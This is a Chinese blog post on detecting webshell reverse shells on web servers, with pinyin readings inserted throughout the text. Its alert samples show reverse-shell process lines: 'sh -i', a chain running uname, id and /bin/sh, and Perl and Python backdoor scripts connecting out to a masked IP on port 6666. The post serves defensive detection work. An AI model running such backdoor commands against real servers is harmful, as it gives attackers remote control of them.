有朋友說,檢測webshell不就可以了,問題是如果要大(dà)面積推,以我(wǒ)目前寫的檢測webshell的代碼,誤報還是有的,天天看報警郵件就會麻木了,所以想提高準确率。另外(wài),文件量大(dà),更新頻(pín)繁,訪問量也大(dà)的,掃文件比較難推得下(xià)去(qù)。
也有朋友說,檢測網絡連接,同樣,網絡連接大(dà),沒有專門的投入設備來做這個事情,還是比較難的。由于要花錢的緣故,你懂的。
另一(yī)種就是agent,抓敏感動作,比如一(yī)個nobody用戶起了個bash之類的。
其實最開(kāi)始想的是用iptables直接限制反彈就可以了,然後記錄敏感log,分(fēn)析log報警就可以發現webshell。上了以前寫的一(yī)個iptables腳本,限制output,做過nmap hping等比較詳細的測試,結果産生(shēng)了我(wǒ)昨天在群裏讨論的問題,就是web的80主動ack别人的現象。iptables四種狀态個人感覺還是比較熟了的,所以覺得奇怪,一(yī)種可能是iptables狀态因爲網絡包問題出現混亂,一(yī)種可能是有傳說中(zhōng)的ackbackdoor:)後面抓包回來分(fēn)析,目前還沒有結論。
在與kevin1986的交流中(zhōng),我(wǒ)們發現判斷父進程的時候發現有漏掉的,下(xià)面的c版的父進程是1,呵呵。當然,和他交流讓我(wǒ)有了一(yī)個比較簡單的思路(感謝ing),于是寫了一(yī)個非常挫的腳本,測試了幾種情況,感覺還行,以下(xià)爲報警郵件内容:
下(xià)面這種是c的
found webshell back connect on fuckit
nobody 7032 1 0 12:57 ? 00:00:00 sh -i
下(xià)面這種是perl的
found webshell back connect on fuckit
nobody 7301 1 0 13:00 ? 00:00:00 lynx
nobody 7302 7301 0 13:00 ? 00:00:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
nobody 7307 7302 0 13:00 ? 00:00:00 /bin/sh
再來個傳perl後門上去(qù)執行的
found webshell back connect on fuckit
nobody 8137 2257 0 13:16 ? 00:00:00 perl /usr/local/zeus/htdocs/www.xxxx.com/back.pl 121.9.227.xx 6666
nobody 8144 8137 0 13:16 ? 00:00:00 sh -i
再來個傳py後門上去(qù)執行的
nobody 8203 1924 0 13:19 ? 00:00:00 python /usr/local/zeus/htdocs/www.xxxx.com/back.py 121.9.227.xx 6666
nobody 8204 8203 0 13:19 pts/1 00:00:00 /bin/sh
由于實在代碼挫,就不貼了,你們看以上内容都懂的:)
聯系電話(huà):020-87518715
聯系郵箱:services@picusit.com
公司名稱:鄭州易科計算機服務有限公司
公司地址:廣州市天河區龍口西路100号中(zhōng)明大(dà)廈1601